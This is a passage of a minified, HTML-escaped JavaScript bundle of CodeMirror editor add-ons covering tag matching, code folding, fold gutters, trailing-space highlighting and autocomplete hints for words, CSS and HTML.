c)&amp;&amp;(d?(d.strict=c,c=d):c=c?{strict:!0}:null),b(this,a,c)}),a.defineExtension(&quot;scanForBracket&quot;,function(a,b,d,e){return c(this,a,b,d,e)})})},{&quot;../../lib/codemirror&quot;:59}],13:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../fold/xml-fold&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../fold/xml-fold&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){a.state.tagHit&amp;&amp;a.state.tagHit.clear(),a.state.tagOther&amp;&amp;a.state.tagOther.clear(),a.state.tagHit=a.state.tagOther=null}function c(c){c.state.failedTagMatch=!1,c.operation(function(){if(b(c),!c.somethingSelected()){var d=c.getCursor(),e=c.getViewport();e.from=Math.min(e.from,d.line),e.to=Math.max(d.line+1,e.to);var f=a.findMatchingTag(c,d,e);if(f){if(c.state.matchBothTags){var g=&quot;open&quot;==f.at?f.open:f.close;g&amp;&amp;(c.state.tagHit=c.markText(g.from,g.to,{className:&quot;CodeMirror-matchingtag&quot;}))}var h=&quot;close&quot;==f.at?f.open:f.close;h?c.state.tagOther=c.markText(h.from,h.to,{className:&quot;CodeMirror-matchingtag&quot;}):c.state.failedTagMatch=!0}}})}function d(a){a.state.failedTagMatch&amp;&amp;c(a)}a.defineOption(&quot;matchTags&quot;,!1,function(e,f,g){g&amp;&amp;g!=a.Init&amp;&amp;(e.off(&quot;cursorActivity&quot;,c),e.off(&quot;viewportChange&quot;,d),b(e)),f&amp;&amp;(e.state.matchBothTags=&quot;object&quot;==typeof f&amp;&amp;f.bothTags,e.on(&quot;cursorActivity&quot;,c),e.on(&quot;viewportChange&quot;,d),c(e))}),a.commands.toMatchingTag=function(b){var c=a.findMatchingTag(b,b.getCursor());if(c){var d=&quot;close&quot;==c.at?c.open:c.close;d&amp;&amp;b.extendSelection(d.to,d.from)}}})},{&quot;../../lib/codemirror&quot;:59,&quot;../fold/xml-fold&quot;:21}],14:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){a.defineOption(&quot;showTrailingSpace&quot;,!1,function(b,c,d){d==a.Init&amp;&amp;(d=!1),d&amp;&amp;!c?b.removeOverlay(&quot;trailingspace&quot;):!d&amp;&amp;c&amp;&amp;b.addOverlay({token:function(a){for(var b=a.string.length,c=b;c&amp;&amp;/\s/.test(a.string.charAt(c-1));--c);return c&gt;a.pos?(a.pos=c,null):(a.pos=b,&quot;trailingspace&quot;)},name:&quot;trailingspace&quot;})})})},{&quot;../../lib/codemirror&quot;:59}],15:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.registerHelper(&quot;fold&quot;,&quot;brace&quot;,function(b,c){function d(d){for(var h=c.ch,i=0;;){var j=h&lt;=0?-1:g.lastIndexOf(d,h-1);if(j!=-1){if(1==i&amp;&amp;j&lt;c.ch)break;if(e=b.getTokenTypeAt(a.Pos(f,j+1)),!/^(comment|string)/.test(e))return j+1;h=j-1}else{if(1==i)break;i=1,h=g.length}}}var e,f=c.line,g=b.getLine(f),h=&quot;{&quot;,i=&quot;}&quot;,j=d(&quot;{&quot;);if(null==j&amp;&amp;(h=&quot;[&quot;,i=&quot;]&quot;,j=d(&quot;[&quot;)),null!=j){var k,l,m=1,n=b.lastLine();a:for(var o=f;o&lt;=n;++o)for(var p=b.getLine(o),q=o==f?j:0;;){var r=p.indexOf(h,q),s=p.indexOf(i,q);if(r&lt;0&amp;&amp;(r=p.length),s&lt;0&amp;&amp;(s=p.length),q=Math.min(r,s),q==p.length)break;if(b.getTokenTypeAt(a.Pos(o,q+1))==e)if(q==r)++m;else if(!--m){k=o,l=q;break a}++q}if(null!=k&amp;&amp;(f!=k||l!=j))return{from:a.Pos(f,j),to:a.Pos(k,l)}}}),a.registerHelper(&quot;fold&quot;,&quot;import&quot;,function(b,c){function d(c){if(c&lt;b.firstLine()||c&gt;b.lastLine())return null;var d=b.getTokenAt(a.Pos(c,1));if(/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),&quot;keyword&quot;!=d.type||&quot;import&quot;!=d.string)return null;for(var e=c,f=Math.min(b.lastLine(),c+10);e&lt;=f;++e){var g=b.getLine(e),h=g.indexOf(&quot;;&quot;);if(h!=-1)return{startCh:d.end,end:a.Pos(e,h)}}}var e,f=c.line,g=d(f);if(!g||d(f-1)||(e=d(f-2))&amp;&amp;e.end.line==f-1)return null;for(var h=g.end;;){var i=d(h.line+1);if(null==i)break;h=i.end}return{from:b.clipPos(a.Pos(f,g.startCh+1)),to:h}}),a.registerHelper(&quot;fold&quot;,&quot;include&quot;,function(b,c){function d(c){if(c&lt;b.firstLine()||c&gt;b.lastLine())return null;var d=b.getTokenAt(a.Pos(c,1));return/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),&quot;meta&quot;==d.type&amp;&amp;&quot;#include&quot;==d.string.slice(0,8)?d.start+8:void 0}var e=c.line,f=d(e);if(null==f||null!=d(e-1))return null;for(var g=e;;){var h=d(g+1);if(null==h)break;++g}return{from:a.Pos(e,f+1),to:b.clipPos(a.Pos(g))}})})},{&quot;../../lib/codemirror&quot;:59}],16:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.registerGlobalHelper(&quot;fold&quot;,&quot;comment&quot;,function(a){return a.blockCommentStart&amp;&amp;a.blockCommentEnd},function(b,c){var d=b.getModeAt(c),e=d.blockCommentStart,f=d.blockCommentEnd;if(e&amp;&amp;f){for(var g,h=c.line,i=b.getLine(h),j=c.ch,k=0;;){var l=j&lt;=0?-1:i.lastIndexOf(e,j-1);if(l!=-1){if(1==k&amp;&amp;l&lt;c.ch)return;if(/comment/.test(b.getTokenTypeAt(a.Pos(h,l+1)))&amp;&amp;(0==l||i.slice(l-f.length,l)==f||!/comment/.test(b.getTokenTypeAt(a.Pos(h,l))))){g=l+e.length;break}j=l-1}else{if(1==k)return;k=1,j=i.length}}var m,n,o=1,p=b.lastLine();a:for(var q=h;q&lt;=p;++q)for(var r=b.getLine(q),s=q==h?g:0;;){var t=r.indexOf(e,s),u=r.indexOf(f,s);if(t&lt;0&amp;&amp;(t=r.length),u&lt;0&amp;&amp;(u=r.length),s=Math.min(t,u),s==r.length)break;if(s==t)++o;else if(!--o){m=q,n=s;break a}++s}if(null!=m&amp;&amp;(h!=m||n!=g))return{from:a.Pos(h,g),to:a.Pos(m,n)}}})})},{&quot;../../lib/codemirror&quot;:59}],17:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,e,f,g){function h(a){var c=i(b,e);if(!c||c.to.line-c.from.line&lt;j)return null;for(var d=b.findMarksAt(c.from),f=0;f&lt;d.length;++f)if(d[f].__isFold&amp;&amp;&quot;fold&quot;!==g){if(!a)return null;c.cleared=!0,d[f].clear()}return c}if(f&amp;&amp;f.call){var i=f;f=null}else var i=d(b,f,&quot;rangeFinder&quot;);&quot;number&quot;==typeof e&amp;&amp;(e=a.Pos(e,0));var j=d(b,f,&quot;minFoldSize&quot;),k=h(!0);if(d(b,f,&quot;scanUp&quot;))for(;!k&amp;&amp;e.line&gt;b.firstLine();)e=a.Pos(e.line-1,0),k=h(!1);if(k&amp;&amp;!k.cleared&amp;&amp;&quot;unfold&quot;!==g){var l=c(b,f);a.on(l,&quot;mousedown&quot;,function(b){m.clear(),a.e_preventDefault(b)});var m=b.markText(k.from,k.to,{replacedWith:l,clearOnEnter:d(b,f,&quot;clearOnEnter&quot;),__isFold:!0});m.on(&quot;clear&quot;,function(c,d){a.signal(b,&quot;unfold&quot;,b,c,d)}),a.signal(b,&quot;fold&quot;,b,k.from,k.to)}}function c(a,b){var c=d(a,b,&quot;widget&quot;);if(&quot;string&quot;==typeof c){var e=document.createTextNode(c);c=document.createElement(&quot;span&quot;),c.appendChild(e),c.className=&quot;CodeMirror-foldmarker&quot;}else c&amp;&amp;(c=c.cloneNode(!0));return c}function d(a,b,c){if(b&amp;&amp;void 0!==b[c])return b[c];var d=a.options.foldOptions;return d&amp;&amp;void 0!==d[c]?d[c]:e[c]}a.newFoldFunction=function(a,c){return function(d,e){b(d,e,{rangeFinder:a,
widget:c})}},a.defineExtension(&quot;foldCode&quot;,function(a,c,d){b(this,a,c,d)}),a.defineExtension(&quot;isFolded&quot;,function(a){for(var b=this.findMarksAt(a),c=0;c&lt;b.length;++c)if(b[c].__isFold)return!0}),a.commands.toggleFold=function(a){a.foldCode(a.getCursor())},a.commands.fold=function(a){a.foldCode(a.getCursor(),null,&quot;fold&quot;)},a.commands.unfold=function(a){a.foldCode(a.getCursor(),null,&quot;unfold&quot;)},a.commands.foldAll=function(b){b.operation(function(){for(var c=b.firstLine(),d=b.lastLine();c&lt;=d;c++)b.foldCode(a.Pos(c,0),null,&quot;fold&quot;)})},a.commands.unfoldAll=function(b){b.operation(function(){for(var c=b.firstLine(),d=b.lastLine();c&lt;=d;c++)b.foldCode(a.Pos(c,0),null,&quot;unfold&quot;)})},a.registerHelper(&quot;fold&quot;,&quot;combine&quot;,function(){var a=Array.prototype.slice.call(arguments,0);return function(b,c){for(var d=0;d&lt;a.length;++d){var e=a[d](b,c);if(e)return e}}}),a.registerHelper(&quot;fold&quot;,&quot;auto&quot;,function(a,b){for(var c=a.getHelpers(b,&quot;fold&quot;),d=0;d&lt;c.length;d++){var e=c[d](a,b);if(e)return e}});var e={rangeFinder:a.fold.auto,widget:&quot;\u2194&quot;,minFoldSize:0,scanUp:!1,clearOnEnter:!0};a.defineOption(&quot;foldOptions&quot;,null),a.defineExtension(&quot;foldOption&quot;,function(a,b){return d(this,a,b)})})},{&quot;../../lib/codemirror&quot;:59}],18:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;./foldcode&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;./foldcode&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){this.options=a,this.from=this.to=0}function c(a){return a===!0&amp;&amp;(a={}),null==a.gutter&amp;&amp;(a.gutter=&quot;CodeMirror-foldgutter&quot;),null==a.indicatorOpen&amp;&amp;(a.indicatorOpen=&quot;CodeMirror-foldgutter-open&quot;),null==a.indicatorFolded&amp;&amp;(a.indicatorFolded=&quot;CodeMirror-foldgutter-folded&quot;),a}function d(a,b){for(var c=a.findMarks(l(b,0),l(b+1,0)),d=0;d&lt;c.length;++d)if(c[d].__isFold&amp;&amp;c[d].find().from.line==b)return c[d]}function e(a){if(&quot;string&quot;==typeof a){var b=document.createElement(&quot;div&quot;);return b.className=a+&quot; CodeMirror-guttermarker-subtle&quot;,b}return a.cloneNode(!0)}function f(a,b,c){var f=a.state.foldGutter.options,g=b,h=a.foldOption(f,&quot;minFoldSize&quot;),i=a.foldOption(f,&quot;rangeFinder&quot;);a.eachLine(b,c,function(b){var c=null;if(d(a,g))c=e(f.indicatorFolded);else{var j=l(g,0),k=i&amp;&amp;i(a,j);k&amp;&amp;k.to.line-k.from.line&gt;=h&amp;&amp;(c=e(f.indicatorOpen))}a.setGutterMarker(b,f.gutter,c),++g})}function g(a){var b=a.getViewport(),c=a.state.foldGutter;c&amp;&amp;(a.operation(function(){f(a,b.from,b.to)}),c.from=b.from,c.to=b.to)}function h(a,b,c){var e=a.state.foldGutter;if(e){var f=e.options;if(c==f.gutter){var g=d(a,b);g?g.clear():a.foldCode(l(b,0),f.rangeFinder)}}}function i(a){var b=a.state.foldGutter;if(b){var c=b.options;b.from=b.to=0,clearTimeout(b.changeUpdate),b.changeUpdate=setTimeout(function(){g(a)},c.foldOnChangeTimeSpan||600)}}function j(a){var b=a.state.foldGutter;if(b){var c=b.options;clearTimeout(b.changeUpdate),b.changeUpdate=setTimeout(function(){var c=a.getViewport();b.from==b.to||c.from-b.to&gt;20||b.from-c.to&gt;20?g(a):a.operation(function(){c.from&lt;b.from&amp;&amp;(f(a,c.from,b.from),b.from=c.from),c.to&gt;b.to&amp;&amp;(f(a,b.to,c.to),b.to=c.to)})},c.updateViewportTimeSpan||400)}}function k(a,b){var c=a.state.foldGutter;if(c){var d=b.line;d&gt;=c.from&amp;&amp;d&lt;c.to&amp;&amp;f(a,d,d+1)}}a.defineOption(&quot;foldGutter&quot;,!1,function(d,e,f){f&amp;&amp;f!=a.Init&amp;&amp;(d.clearGutter(d.state.foldGutter.options.gutter),d.state.foldGutter=null,d.off(&quot;gutterClick&quot;,h),d.off(&quot;change&quot;,i),d.off(&quot;viewportChange&quot;,j),d.off(&quot;fold&quot;,k),d.off(&quot;unfold&quot;,k),d.off(&quot;swapDoc&quot;,i)),e&amp;&amp;(d.state.foldGutter=new b(c(e)),g(d),d.on(&quot;gutterClick&quot;,h),d.on(&quot;change&quot;,i),d.on(&quot;viewportChange&quot;,j),d.on(&quot;fold&quot;,k),d.on(&quot;unfold&quot;,k),d.on(&quot;swapDoc&quot;,i))});var l=a.Pos})},{&quot;../../lib/codemirror&quot;:59,&quot;./foldcode&quot;:17}],19:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,c){var d=b.getLine(c),e=d.search(/\S/);return e==-1||/\bcomment\b/.test(b.getTokenTypeAt(a.Pos(c,e+1)))?-1:a.countColumn(d,null,b.getOption(&quot;tabSize&quot;))}a.registerHelper(&quot;fold&quot;,&quot;indent&quot;,function(c,d){var e=b(c,d.line);if(!(e&lt;0)){for(var f=null,g=d.line+1,h=c.lastLine();g&lt;=h;++g){var i=b(c,g);if(i==-1);else{if(!(i&gt;e))break;f=g}}return f?{from:a.Pos(d.line,c.getLine(d.line).length),to:a.Pos(f,c.getLine(f).length)}:void 0}})})},{&quot;../../lib/codemirror&quot;:59}],20:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.registerHelper(&quot;fold&quot;,&quot;markdown&quot;,function(b,c){function d(c){var d=b.getTokenTypeAt(a.Pos(c,0));return d&amp;&amp;/\bheader\b/.test(d)}function e(a,b,c){var e=b&amp;&amp;b.match(/^#+/);return e&amp;&amp;d(a)?e[0].length:(e=c&amp;&amp;c.match(/^[=\-]+\s*$/),e&amp;&amp;d(a+1)?&quot;=&quot;==c[0]?1:2:f)}var f=100,g=b.getLine(c.line),h=b.getLine(c.line+1),i=e(c.line,g,h);if(i!==f){for(var j=b.lastLine(),k=c.line,l=b.getLine(k+2);k&lt;j&amp;&amp;!(e(k+1,h,l)&lt;=i);)++k,h=l,l=b.getLine(k+2);return{from:a.Pos(c.line,g.length),to:a.Pos(k,b.getLine(k).length)}}})})},{&quot;../../lib/codemirror&quot;:59}],21:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){return a.line-b.line||a.ch-b.ch}function c(a,b,c,d){this.line=b,this.ch=c,this.cm=a,this.text=a.getLine(b),this.min=d?Math.max(d.from,a.firstLine()):a.firstLine(),this.max=d?Math.min(d.to-1,a.lastLine()):a.lastLine()}function d(a,b){var c=a.cm.getTokenTypeAt(m(a.line,b));return c&amp;&amp;/\btag\b/.test(c)}function e(a){if(!(a.line&gt;=a.max))return a.ch=0,a.text=a.cm.getLine(++a.line),!0}function f(a){if(!(a.line&lt;=a.min))return a.text=a.cm.getLine(--a.line),a.ch=a.text.length,!0}function g(a){for(;;){var b=a.text.indexOf(&quot;&gt;&quot;,a.ch);if(b==-1){if(e(a))continue;return}{if(d(a,b+1)){var c=a.text.lastIndexOf(&quot;/&quot;,b),f=c&gt;-1&amp;&amp;!/\S/.test(a.text.slice(c+1,b));return a.ch=b+1,f?&quot;selfClose&quot;:&quot;regular&quot;}a.ch=b+1}}}function h(a){for(;;){var b=a.ch?a.text.lastIndexOf(&quot;&lt;&quot;,a.ch-1):-1;if(b==-1){if(f(a))continue;return}if(d(a,b+1)){p.lastIndex=b,a.ch=b;var c=p.exec(a.text);if(c&amp;&amp;c.index==b)return c}else a.ch=b}}function i(a){for(;;){p.lastIndex=a.ch;var b=p.exec(a.text);if(!b){if(e(a))continue;return}{if(d(a,b.index+1))return a.ch=b.index+b[0].length,b;a.ch=b.index+1}}}function j(a){for(;;){var b=a.ch?a.text.lastIndexOf(&quot;&gt;&quot;,a.ch-1):-1;if(b==-1){if(f(a))continue;return}{if(d(a,b+1)){var c=a.text.lastIndexOf(&quot;/&quot;,b),e=c&gt;-1&amp;&amp;!/\S/.test(a.text.slice(c+1,b));return a.ch=b+1,e?&quot;selfClose&quot;:&quot;regular&quot;}a.ch=b}}}function k(a,b){for(var c=[];;){var d,e=i(a),f=a.line,h=a.ch-(e?e[0].length:0);if(!e||!(d=g(a)))return;if(&quot;selfClose&quot;!=d)if(e[1]){for(var j=c.length-1;j&gt;=0;--j)if(c[j]==e[2]){c.length=j;break}if(j&lt;0&amp;&amp;(!b||b==e[2]))return{tag:e[2],from:m(f,h),to:m(a.line,a.ch)}}else c.push(e[2])}}function l(a,b){for(var c=[];;){var d=j(a);if(!d)return;if(&quot;selfClose&quot;!=d){var e=a.line,f=a.ch,g=h(a);if(!g)return;if(g[1])c.push(g[2]);else{for(var i=c.length-1;i&gt;=0;--i)if(c[i]==g[2]){c.length=i;break}if(i&lt;0&amp;&amp;(!b||b==g[2]))return{tag:g[2],from:m(a.line,a.ch),to:m(e,f)}}}else h(a)}}var m=a.Pos,n=&quot;A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD&quot;,o=n+&quot;-:.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040&quot;,p=new RegExp(&quot;&lt;(/?)([&quot;+n+&quot;][&quot;+o+&quot;]*)&quot;,&quot;g&quot;);a.registerHelper(&quot;fold&quot;,&quot;xml&quot;,function(a,b){for(var d=new c(a,b.line,0);;){var e,f=i(d);if(!f||d.line!=b.line||!(e=g(d)))return;if(!f[1]&amp;&amp;&quot;selfClose&quot;!=e){var h=m(d.line,d.ch),j=k(d,f[2]);return j&amp;&amp;{from:h,to:j.from}}}}),a.findMatchingTag=function(a,d,e){var f=new c(a,d.line,d.ch,e);if(f.text.indexOf(&quot;&gt;&quot;)!=-1||f.text.indexOf(&quot;&lt;&quot;)!=-1){var i=g(f),j=i&amp;&amp;m(f.line,f.ch),n=i&amp;&amp;h(f);if(i&amp;&amp;n&amp;&amp;!(b(f,d)&gt;0)){var o={from:m(f.line,f.ch),to:j,tag:n[2]};return&quot;selfClose&quot;==i?{open:o,close:null,at:&quot;open&quot;}:n[1]?{open:l(f,n[2]),close:o,at:&quot;close&quot;}:(f=new c(a,j.line,j.ch,e),{open:o,close:k(f,n[2]),at:&quot;open&quot;})}}},a.findEnclosingTag=function(a,b,d,e){for(var f=new c(a,b.line,b.ch,d);;){var g=l(f,e);if(!g)break;var h=new c(a,b.line,b.ch,d),i=k(h,g.tag);if(i)return{open:g,close:i}}},a.scanForClosingTag=function(a,b,d,e){var f=new c(a,b.line,b.ch,e?{from:0,to:e}:null);return k(f,d)}})},{&quot;../../lib/codemirror&quot;:59}],22:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;var b=/[\w$]+/,c=500;a.registerHelper(&quot;hint&quot;,&quot;anyword&quot;,function(d,e){for(var f=e&amp;&amp;e.word||b,g=e&amp;&amp;e.range||c,h=d.getCursor(),i=d.getLine(h.line),j=h.ch,k=j;k&amp;&amp;f.test(i.charAt(k-1));)--k;for(var l=k!=j&amp;&amp;i.slice(k,j),m=e&amp;&amp;e.list||[],n={},o=new RegExp(f.source,&quot;g&quot;),p=-1;p&lt;=1;p+=2)for(var q=h.line,r=Math.min(Math.max(q+p*g,d.firstLine()),d.lastLine())+p;q!=r;q+=p)for(var s,t=d.getLine(q);s=o.exec(t);)q==h.line&amp;&amp;s[0]===l||l&amp;&amp;0!=s[0].lastIndexOf(l,0)||Object.prototype.hasOwnProperty.call(n,s[0])||(n[s[0]]=!0,m.push(s[0]));return{list:m,from:a.Pos(h.line,k),to:a.Pos(h.line,j)}})})},{&quot;../../lib/codemirror&quot;:59}],23:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../../mode/css/css&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../../mode/css/css&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;var b={link:1,visited:1,active:1,hover:1,focus:1,&quot;first-letter&quot;:1,&quot;first-line&quot;:1,&quot;first-child&quot;:1,before:1,after:1,lang:1};a.registerHelper(&quot;hint&quot;,&quot;css&quot;,function(c){function d(a){for(var b in a)j&amp;&amp;0!=b.lastIndexOf(j,0)||l.push(b)}var e=c.getCursor(),f=c.getTokenAt(e),g=a.innerMode(c.getMode(),f.state);if(&quot;css&quot;==g.mode.name){if(&quot;keyword&quot;==f.type&amp;&amp;0==&quot;!important&quot;.indexOf(f.string))return{list:[&quot;!important&quot;],from:a.Pos(e.line,f.start),to:a.Pos(e.line,f.end)};var h=f.start,i=e.ch,j=f.string.slice(0,i-h);/[^\w$_-]/.test(j)&amp;&amp;(j=&quot;&quot;,h=i=e.ch);var k=a.resolveMode(&quot;text/css&quot;),l=[],m=g.state.state;return&quot;pseudo&quot;==m||&quot;variable-3&quot;==f.type?d(b):&quot;block&quot;==m||&quot;maybeprop&quot;==m?d(k.propertyKeywords):&quot;prop&quot;==m||&quot;parens&quot;==m||&quot;at&quot;==m||&quot;params&quot;==m?(d(k.valueKeywords),d(k.colorKeywords)):&quot;media&quot;!=m&amp;&amp;&quot;media_parens&quot;!=m||(d(k.mediaTypes),d(k.mediaFeatures)),l.length?{list:l,from:a.Pos(e.line,h),to:a.Pos(e.line,i)}:void 0}})})},{&quot;../../lib/codemirror&quot;:59,&quot;../../mode/css/css&quot;:61}],24:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;./xml-hint&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;./xml-hint&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){for(var b in l)l.hasOwnProperty(b)&amp;&amp;(a.attrs[b]=l[b])}function c(b,c){var d={schemaInfo:k};if(c)for(var e in c)d[e]=c[e];return a.hint.xml(b,d)}var d=&quot;ab aa af ak sq am ar an hy as av ae ay az bm ba eu be bn bh bi bs br bg my ca ch ce ny zh cv kw co cr hr cs da dv nl dz en eo et ee fo fj fi fr ff gl ka de el gn gu ht ha he hz hi ho hu ia id ie ga ig ik io is it iu ja jv kl kn kr ks kk km ki rw ky kv kg ko ku kj la lb lg li ln lo lt lu lv gv mk mg ms ml mt mi mr mh mn na nv nb nd ne ng nn no ii nr oc oj cu om or os pa pi fa pl ps pt qu rm rn ro ru sa sc sd se sm sg sr gd sn si sk sl so st es su sw ss sv ta te tg th ti bo tk tl tn to tr ts tt tw ty ug uk ur uz ve vi vo wa cy wo fy xh yi yo za zu&quot;.split(&quot; &quot;),e=[&quot;_blank&quot;,&quot;_self&quot;,&quot;_top&quot;,&quot;_parent&quot;],f=[&quot;ascii&quot;,&quot;utf-8&quot;,&quot;utf-16&quot;,&quot;latin1&quot;,&quot;latin1&quot;],g=[&quot;get&quot;,&quot;post&quot;,&quot;put&quot;,&quot;delete&quot;],h=[&quot;application/x-www-form-urlencoded&quot;,&quot;multipart/form-data&quot;,&quot;text/plain&quot;],i=[&quot;all&quot;,&quot;screen&quot;,&quot;print&quot;,&quot;embossed&quot;,&quot;braille&quot;,&quot;handheld&quot;,&quot;print&quot;,&quot;projection&quot;,&quot;screen&quot;,&quot;tty&quot;,&quot;tv&quot;,&quot;speech&quot;,&quot;3d-glasses&quot;,&quot;resolution [&gt;][&lt;][=] [X]&quot;,&quot;device-aspect-ratio: X/Y&quot;,&quot;orientation:portrait&quot;,&quot;orientation:landscape&quot;,&quot;device-height: [X]&quot;,&quot;device-width: [X]&quot;],j={attrs:{}},k={a:{attrs:{href:null,ping:null,type:null,media:i,target:e,hreflang:d}},abbr:j,acronym:j,address:j,applet:j,area:{attrs:{alt:null,coords:null,href:null,target:null,ping:null,media:i,hreflang:d,type:null,shape:[&quot;default&quot;,&quot;rect&quot;,&quot;circle&quot;,&quot;poly&quot;]}},article:j,aside:j,audio:{attrs:{src:null,mediagroup:null,crossorigin:[&quot;anonymous&quot;,&quot;use-credentials&quot;],preload:[&quot;none&quot;,&quot;metadata&quot;,&quot;auto&quot;],autoplay:[&quot;&quot;,&quot;autoplay&quot;],loop:[&quot;&quot;,&quot;loop&quot;],controls:[&quot;&quot;,&quot;controls&quot;]}},b:j,base:{attrs:{href:null,target:e}},basefont:j,bdi:j,bdo:j,big:j,blockquote:{attrs:{cite:null}},body:j,br:j,button:{attrs:{form:null,formaction:null,name:null,value:null,autofocus:[&quot;&quot;,&quot;autofocus&quot;],disabled:[&quot;&quot;,&quot;autofocus&quot;],formenctype:h,formmethod:g,formnovalidate:[&quot;&quot;,&quot;novalidate&quot;],formtarget:e,type:[&quot;submit&quot;,&quot;reset&quot;,&quot;button&quot;]}},canvas:{attrs:{width:null,height:null}},caption:j,center:j,cite:j,code:j,col:{attrs:{span:null}},colgroup:{attrs:{span:null}},command:{attrs:{type:[&quot;command&quot;,&quot;checkbox&quot;,&quot;radio&quot;],label:null,icon:null,radiogroup:null,command:null,title:null,disabled:[&quot;&quot;,&quot;disabled&quot;],checked:[&quot;&quot;,&quot;checked&quot;]}},data:{attrs:{value:null}},datagrid:{attrs:{disabled:[&quot;&quot;,&quot;disabled&quot;],multiple:[&quot;&quot;,&quot;multiple&quot;]}},datalist:{attrs:{data:null}},dd:j,del:{attrs:{cite:null,datetime:null}},details:{attrs:{open:[&quot;&quot;,&quot;open&quot;]}},dfn:j,dir:j,div:j,dl:j,dt:j,em:j,embed:{attrs:{src:null,type:null,width:null,height:null}},eventsource:{attrs:{src:null}},fieldset:{attrs:{disabled:[&quot;&quot;,&quot;disabled&quot;],form:null,name:null}},figcaption:j,figure:j,font:j,footer:j,form:{attrs:{action:null,name:null,&quot;accept-charset&quot;:f,autocomplete:[&quot;on&quot;,&quot;off&quot;],enctype:h,method:g,novalidate:[&quot;&quot;,&quot;novalidate&quot;],target:e}},frame:j,frameset:j,h1:j,h2:j,h3:j,h4:j,h5:j,h6:j,head:{attrs:{},children:[&quot;title&quot;,&quot;base&quot;,&quot;link&quot;,&quot;style&quot;,&quot;meta&quot;,&quot;script&quot;,&quot;noscript&quot;,&quot;command&quot;]},header:j,hgroup:j,hr:j,html:{attrs:{manifest:null},children:[&quot;head&quot;,&quot;body&quot;]},i:j,iframe:{attrs:{src:null,srcdoc:null,name:null,width:null,height:null,sandbox:[&quot;allow-top-navigation&quot;,&quot;allow-same-origin&quot;,&quot;allow-forms&quot;,&quot;allow-scripts&quot;],seamless:[&quot;&quot;,&quot;seamless&quot;]}},img:{attrs:{alt:null,src:null,ismap:null,usemap:null,width:null,height:null,crossorigin:[&quot;anonymous&quot;,&quot;use-credentials&quot;]}},input:{attrs:{alt:null,dirname:null,form:null,formaction:null,height:null,list:null,max:null,maxlength:null,min:null,name:null,pattern:null,placeholder:null,size:null,src:null,step:null,value:null,width:null,accept:[&quot;audio/*&quot;,&quot;video/*&quot;,&quot;image/*&quot;],autocomplete:[&quot;on&quot;,&quot;off&quot;],autofocus:[&quot;&quot;,&quot;autofocus&quot;],checked:[&quot;&quot;,&quot;checked&quot;],disabled:[&quot;&quot;,&quot;disabled&quo